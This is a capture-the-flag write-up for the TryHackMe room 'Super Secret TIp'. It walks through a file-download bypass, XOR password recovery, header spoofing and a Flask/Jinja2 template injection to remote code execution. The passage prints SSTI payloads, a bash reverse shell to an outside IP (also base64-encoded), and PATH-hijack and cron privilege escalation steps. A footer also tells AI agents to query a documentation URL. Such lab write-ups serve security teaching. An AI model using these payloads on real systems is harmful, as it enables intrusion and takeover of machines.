# Super Secret TIp

{% embed url="<https://tryhackme.com/room/supersecrettip>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We hit up Nmap and scanned our target machine. We have two open ports: an HTTP server running on port 7777 and an SSH server running on port 22.

<figure><img src="/files/VTY4xMxQVky35NhcRqV3" alt=""><figcaption></figcaption></figure>

Visiting the site just gives us a static page with no working links. By inspecting the source of the page confirms that there is nothing of interest.

<figure><img src="/files/9hHa7bwpfSip3xIsF86r" alt=""><figcaption></figcaption></figure>

We start with a directory scan on the web server and find two interesting directories: `/cloud` and `/debug`. Let's visit them.

<figure><img src="/files/2dmKs0ogq98R4DFGaKcl" alt=""><figcaption></figcaption></figure>

So, we have a download page at `/cloud`, uploaded files can be downloaded using the radio buttons - which only a part of them work - or using the text box which is limited to six characters. In the text box there is a hint. The files that might be of interest could start with the character `s`.&#x20;

<figure><img src="/files/OV4mwLoc84hDmDxv0rjv" alt=""><figcaption></figcaption></figure>

The `/debug` page is the most interesting page. It hints to be able to execute something by providing a password.

<figure><img src="/files/cLA6OsMdRKbedHdupjlU" alt=""><figcaption></figcaption></figure>

## Foothold & First Flag

Firstly, we try to download a file which we can select from the lastly uploaded ones. The `IMG_1425.NEF` works. We directly start with Burp Suite to be able to provide custom inputs exceeding the limited six characters. Next, we tried several payloads like `secret.py` or `__init__.py`, but none of this were valid present files. &#x20;

<figure><img src="/files/eZhXKHzpMadz6pRnliVe" alt=""><figcaption></figcaption></figure>

On hitting `source.py` we finally get a result. We get the source of the request handler of the page.

<figure><img src="/files/GHgRU6gbl0Kw2E7SQ0td" alt=""><figcaption></figcaption></figure>

There are three interesting routes, two of which we already know. The third (`/debugresult`) we were not able to determine with Gobuster and our wordlist.

* `/cloud`: This route handles file downloads. It supports downloading '.txt' files and 'source.py'. Depending on the file requested, it sends the file as an attachment.
* `/debug`: This route is for debugging purposes. It checks if a user-provided password matches the stored password and performs some validation on a debug statement. If successful, it stores the debug statement and encrypted password in a session.
* `/debugresult`: This route displays the result of the debug operation. It checks for the presence of a valid session and displays the debug statement.

{% code title="source.py" lineNumbers="true" %}

```python
from flask import *
import hashlib
import os
import ip # from .
import debugpassword # from .
import pwn

app = Flask(__name__)
app.secret_key = os.urandom(32)
password = str(open('supersecrettip.txt').readline().strip())

def illegal_chars_check(input):
    illegal = "'&;%"
    error = ""
    if any(char in illegal for char in input):
        error = "Illegal characters found!"
        return True, error
    else:
        return False, error

@app.route("/cloud", methods=["GET", "POST"]) 
def download():
    if request.method == "GET":
        return render_template('cloud.html')
    else:
        download = request.form['download']
        if download == 'source.py':
            return send_file('./source.py', as_attachment=True)
        if download[-4:] == '.txt':
            print('download: ' + download)
            return send_from_directory(app.root_path, download, as_attachment=True)
        else:
            return send_from_directory(app.root_path + "/cloud", download, as_attachment=True)
            # return render_template('cloud.html', msg="Network error occurred")

@app.route("/debug", methods=["GET"]) 
def debug():
    debug = request.args.get('debug')
    user_password = request.args.get('password')
    
    if not user_password or not debug:
        return render_template("debug.html")
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debug.html", error=error)

    # I am not very eXperienced with encryptiOns, so heRe you go!
    encrypted_pass = str(debugpassword.get_encrypted(user_password))
    if encrypted_pass != password:
        return render_template("debug.html", error="Wrong password.")
    
    
    session['debug'] = debug
    session['password'] = encrypted_pass
        
    return render_template("debug.html", result="Debug statement executed.")

@app.route("/debugresult", methods=["GET"]) 
def debugResult():
    if not ip.checkIP(request):
        return abort(401, "Everything made in home, we don't like intruders.")
    
    if not session:
        return render_template("debugresult.html")
    
    debug = session.get('debug')
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debugresult.html", error=error)
    user_password = session.get('password')
    
    if not debug and not user_password:
        return render_template("debugresult.html")
        
    # return render_template("debugresult.html", debug=debug, success=True)
    
    # TESTING -- DON'T FORGET TO REMOVE FOR SECURITY REASONS
    template = open('./templates/debugresult.html').read()
    return render_template_string(template.replace('DEBUG_HERE', debug), success=True, error="")

@app.route("/", methods=["GET"])
def index():
    return render_template('index.html')

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7777, debug=False)

```

{% endcode %}

Furthermore, we have two interesting imports which we might have to analyze later.

```
import ip # from .
```

```
import debugpassword # from .
```

There is a custom function `illegal_chars_check` that checks if a string contains certain illegal characters like `'`, `&`, `;`, and `%`. If any of these characters are found, it returns an error. This function is used in `/debug`.

Sessions are created and stored if a valid command is inserted with the correct password

{% code title="/debug of source.py" lineNumbers="true" %}

```python
@app.route("/debug", methods=["GET"]) 
def debug():
    debug = request.args.get('debug')
    user_password = request.args.get('password')
    
    if not user_password or not debug:
        return render_template("debug.html")
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debug.html", error=error)

    # I am not very eXperienced with encryptiOns, so heRe you go!
    encrypted_pass = str(debugpassword.get_encrypted(user_password))
    if encrypted_pass != password:
        return render_template("debug.html", error="Wrong password.")
    
    
    session['debug'] = debug
    session['password'] = encrypted_pass
        
    return render_template("debug.html", result="Debug statement executed.")
```

{% endcode %}

The password used to encrypt the provided user's password is stored in `supersecrettip.txt`.

<pre class="language-python"><code class="lang-python"><strong>password = str(open('supersecrettip.txt').readline().strip())
</strong></code></pre>

The provided user password is encrypted using the function `get_encrypted` of `debugpassword`.

```python
user_password = request.args.get('password')
```

```python
encrypted_pass = str(debugpassword.get_encrypted(user_password))
```

Thus, we have to retrieve `debugpassword` and `supersecrettip.txt` to reconstruct the plaintext users' password.

First, we retrieve the secret in `supersecrettip.txt`.

<figure><img src="/files/T053YWGBimS7sJyc3fg3" alt=""><figcaption></figcaption></figure>

We are able to download other files than `.txt` files by bypassing the file ending check at `/cloud`. The bypass is possible by providing a nullbyte.

```python
        if download[-4:] == '.txt':
            print('download: ' + download)
```

{% code title="/cloud of source.py" lineNumbers="true" %}

```python
@app.route("/cloud", methods=["GET", "POST"]) 
def download():
    if request.method == "GET":
        return render_template('cloud.html')
    else:
        download = request.form['download']
        if download == 'source.py':
            return send_file('./source.py', as_attachment=True)
        if download[-4:] == '.txt':
            print('download: ' + download)
            return send_from_directory(app.root_path, download, as_attachment=True)
        else:
            return send_from_directory(app.root_path + "/cloud", download, as_attachment=True)
            # return render_template('cloud.html', msg="Network error occurred")

```

{% endcode %}

Let's download `debugpassword.py` to reconstruct the plain password. We see it's  a simple XOR cipher.

<figure><img src="/files/fuYo6nMyS5MUoyHTYI7h" alt=""><figcaption></figcaption></figure>

For reconstruction we write a simple python program to XOR the found secret (content of `supersecrettip.txt`) with the hidden plaintext password in `debugpassword.py` to get the plaintext password.

{% code title="get-password.py" lineNumbers="true" %}

```python
import pwn


def get_encrypted(passwd):
    return pwn.xor(passwd, b'REDACTED')

input_bytes = b' REDACTED'
utf8_text = input_bytes.decode('utf-8', errors='replace')
print(utf8_text)
print(get_encrypted(utf8_text))
```

{% endcode %}

And we retrieve the plaintext password.

<figure><img src="/files/gGxMp4Q4rXMarZgFRUHd" alt=""><figcaption></figcaption></figure>

Now, we can move on to `/debug` and check if the password works.

<figure><img src="/files/AiYb3BZ8p84dcY5mf5lB" alt=""><figcaption></figcaption></figure>

The statement got executed:

<figure><img src="/files/3gQi9c5rf6PPHcFYYItn" alt=""><figcaption></figcaption></figure>

But we are not authorized to receive the result of our execution.

<figure><img src="/files/UQVnqYDlpBQLJ3WKm4og" alt=""><figcaption></figcaption></figure>

Lets revisit the `source.py` again.

We have to pass the ip check and session check!

{% code title="/debugresult of source.py" lineNumbers="true" %}

```python
def debugResult():
    if not ip.checkIP(request):
        return abort(401, "Everything made in home, we don't like intruders.")
    
    if not session:
        return render_template("debugresult.html")
    
    debug = session.get('debug')
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debugresult.html", error=error)
    user_password = session.get('password')
    
    if not debug and not user_password:
        return render_template("debugresult.html")
        
    # return render_template("debugresult.html", debug=debug, success=True)
    
    # TESTING -- DON'T FORGET TO REMOVE FOR SECURITY REASONS
    template = open('./templates/debugresult.html').read()
    return render_template_string(template.replace('DEBUG_HERE', debug), success=True, error="")
```

{% endcode %}

Let's retrieve `ip.py`.

It checks for a present `X-Forwarded-For` header which has to be set to `127.0.0.1` to evaluate the IP check to `True`.

<figure><img src="/files/EPD7tF4dB4lCb6lc1ycq" alt=""><figcaption></figcaption></figure>

Let's try again executing `1337*1337` in `/debug`, for this we are using Burp Suite Repeater. Until gaining foothold, we stay in the Repeater requesting the `/debug` page to resolve our queries and pass the session cookie content to `/debugresult` to retrieve the results.

```
http://10.10.143.49:7777/debug?debug=1337*1337&password=REDACTED
```

<figure><img src="/files/tQVU3J3uYPJ7HNxevusb" alt=""><figcaption></figcaption></figure>

We copy the cookie from the response of `/debug` and pass it into the session cookie of `/debugresult`. We modify the host to `127.0.0.1` and the `X-Forwarded-For` header to `127.0.0.1`. Next, we just have to send our request and get the result. So for now on, we just have to pass the session cookie to `/debugresult` in our repeater. The multiplication does not get evaluated.

<figure><img src="/files/07BExNPfavDlva6RGtn4" alt=""><figcaption></figcaption></figure>

Ok, let's try it with a classic SSTI using `{{}}` like the title of the room hints.

<figure><img src="/files/Ly2zChXE3ime1Wt77Ew1" alt=""><figcaption></figcaption></figure>

We paste the cookie to `/debugresult` and get the result of the multiplication. We are able to abuse the debug field to get remote code execution and spawn a reverse shell to get on the target machine.

<figure><img src="/files/ykNuHEgwyw14rTWlgT3h" alt=""><figcaption></figcaption></figure>

For reference, we are using the following article. It discusses a code vulnerability in flask to execute Server-Side Template Injection (SSTI). We are currently able to execute simple multiplications but want to reach out to OS command execution.

{% embed url="<https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee>" %}

> The first thing we want to do it is to select a new-style object to use for accessing the **object** base class. We can simply use **‘ ‘**, a blank string, object type **str**. Then, we can use the **\_\_mro\_\_** attribute to access the object’s inherited classes. Inject **{{ ‘’.\_\_class\_\_.\_\_mro\_\_ }}** as a payload into the SSTI vulnerability.
>
> We can see the previously discussed tuple being returned to us. Since we want to go back to the root **object** class, we’ll leverage an index of **1** to select the class type **object**. Now that we’re at the root object, we can leverage the **\_\_subclasses\_\_** attribute to dump all of the classes used in the application. Inject **{{ ‘’.\_\_class\_\_.\_\_mro\_\_\[1].\_\_subclasses\_\_() }}** into the SSTI vulnerability.

Let's retrieve all classes used in the application using:

`{{"".__class__.__mro__[1].__subclasses__()}}`

We are able to retrieve all classes used in the application and find the class `subprocess.Popen` like in the article. It is located at index 415. Found by a simple python program, we wrote iterating through the returned array. It differs from case to case.

So, we are able to call `subprocess.Popen` with the following payload:

`{{"".__class__.__mro__[1].__subclasses__()[415]}}`&#x20;

Next, we try to execute the os command `id` on the target machine:&#x20;

`{{"".__class__.__mro__[1].__subclasses__()[415]("id",shell=True,stdout=-1).communicate()}}`

It's not always at index 415, even in this machine. After several restarts the index was in another attempt at 416. Anoher possible solution would be to use the following payload:

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

We enter the payload in the repeater:

<figure><img src="/files/KZouY0M0Oo44JJVvzvZv" alt=""><figcaption></figcaption></figure>

And see, that the application is running under the user `ayham`, we got os command execution.

<figure><img src="/files/TCZebnzf1Kf9fjsFteq3" alt=""><figcaption></figcaption></figure>

Let's generate a reverse shell using revshell.com.

{% embed url="<https://www.revshells.com/>" %}

We use a simple bash shell:

```
bash -i >& /dev/tcp/10.9.31.94/4445 0>&1
```

We have to encode it in `base64`, because the character `&` is not allowed.

<figure><img src="/files/kCFmV3bzSnKenUCU3xE1" alt=""><figcaption></figcaption></figure>

Our payload looks like the following below. We decode our reverse shell and pipe it into bash.&#x20;

`{{"".__class__.__mro__[1].__subclasses__()[415]("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjMxLjk0LzQ0NDUgMD4mMQo= | base64 -d | bash",shell=True,stdout=-1).communicate()}}`

The payload has to be URL-encoded. We send the request and set up a listener.&#x20;

<figure><img src="/files/rfthm568Yt4C6y39bQjO" alt=""><figcaption></figcaption></figure>

For our reverse shell to connect, we have to retrieve the result at `/debugresult`.&#x20;

Our reverse shell connects, and we are user `ayham` on the machine.

<figure><img src="/files/SK0cfj5A1SLL8pfprW3G" alt=""><figcaption></figcaption></figure>

Lastly, we upgrade our shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="/files/maJbiVNi8oZNZqxvswss" alt=""><figcaption></figcaption></figure>

We directly head to the home directory of ayham and find the first flag.

<figure><img src="/files/sCmLpmbz7Zne81P0vbYb" alt=""><figcaption></figcaption></figure>

## Privilege Escalation to F30s

For the next part, we take the opportunity to escalate privileges to gain access to the user F30s. We see, that there are two cronjobs running. One run by F30s, the other by root.

<figure><img src="/files/d6UW84YJARbc9HttO52d" alt=""><figcaption></figcaption></figure>

Just for confirmation, we ran `pspy64`.

<figure><img src="/files/EgpPqTEuCB0hrUJ9f6dG" alt=""><figcaption></figcaption></figure>

And see both jobs are run regularly.

<figure><img src="/files/TTHvccbFQCLHLT6Fubw2" alt=""><figcaption></figcaption></figure>

While enumerating, we find a writable `.profile` file in `F30s` home directory.&#x20;

We are able to manipulate his PATH variable which is helpful, because the cronjob for `F30s` is running bash with the tag `-l` which means it act as if it had been invoked as a login shell referring the PATH variable.

<figure><img src="/files/u4LMJgU0uBoHM0tY340R" alt=""><figcaption></figcaption></figure>

So, we create a `cat` executable at a writeable path containig a reverse shell, we chose `/home/ayham/bin` and make it executable.

<figure><img src="/files/toc2QmH4Xj2aYFBqngUM" alt=""><figcaption></figcaption></figure>

We manipulate the .profile file of `F30s` via `echo 'PATH="/home/ayham/bin/:$PATH"' > .profile`, prepending the path to the custom cat to the `PATH` variable of the user.

<figure><img src="/files/QdBLtXmzyGr75ydKYxjo" alt=""><figcaption></figcaption></figure>

We set up a listener and wait for connection. We are now F30s. We upgrade the shell and continue.

<figure><img src="/files/mCKInI397F7E33bxPvvg" alt=""><figcaption></figcaption></figure>

## Getting The Second Flag

From our enumeration before with user `ayham` we found another `secret tip` at the root directory.

<figure><img src="/files/6DDPyWgjx4fguK52OT1J" alt=""><figcaption></figcaption></figure>

We remember the two cron jobs running. The one run by root runs `cURL` with `-K` command. With that, it reads its parameters through the specified file, `site_check`. Now, that we are `F30s`, we can modify the contents of the `site_check` to read and write files with `root` permissions.

<figure><img src="/files/O0dxqXSNV2xglrS5HRyh" alt=""><figcaption></figcaption></figure>

From the first flag we now the name convention of the flags. We try to access the `/root/flag2.txt` and save it into the home directory of `F30s`.&#x20;

<figure><img src="/files/xrglBwhMQ0pKNhXn2sNt" alt=""><figcaption></figcaption></figure>

After a short duration, we are able to get the contents of `flag2.txt`. But it is encrypted. Maybe like the password of `/debug` before.<br>

<figure><img src="/files/TPmzBtMEIZpb7WjAcgcp" alt=""><figcaption></figcaption></figure>

Maybe there is another hint hidden in the root directory. We try to access the `secret.txt` file, mentioned in the `/cloud` page.

<figure><img src="/files/IjGcyi1uX5cyyzaEIKGV" alt=""><figcaption></figcaption></figure>

After a short duration, we also get the contents of `secret.txt`. Again, it's some binary gibberish.

<figure><img src="/files/6JiQvvS8ij2M34n2RSRr" alt=""><figcaption></figcaption></figure>

We take it easy now and use CyberChef. We convert the output of `secret.txt` to hex and pass it to CyberChef. Recalling the `secret-tip.txt`, `"it's allways about root"`. XORing the contents of `secret.txt` with `root`, we are able to retrieve an incomplete key -a big number ending with XX - to decipher the flag. Several attempts were made here before using `root` as key. For example with the now know password of `/debug,` the contents of `supersecrettip.txt` or the password inside `debugpassword.py` just to name a few. Big shoutout to lineeralgebra for pointing me here on the correct track and the collaboration in this challenge.

Converting the content of `secret.txt`:

```python
print([REDACTED].hex())
```

Deciphering the content of `secret.txt`:

<figure><img src="/files/8liYpbVq1vMhivdmqWPk" alt=""><figcaption></figcaption></figure>

Passing the decrypted key into CyberChef with the contents of `flag2.txt` we are already able to see parts of the flag, by iterating the last two positions manually we are able to retrieve the final flag.

<figure><img src="/files/PccbaNqMhMTo79OwicJr" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2023/super-secret-tip.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
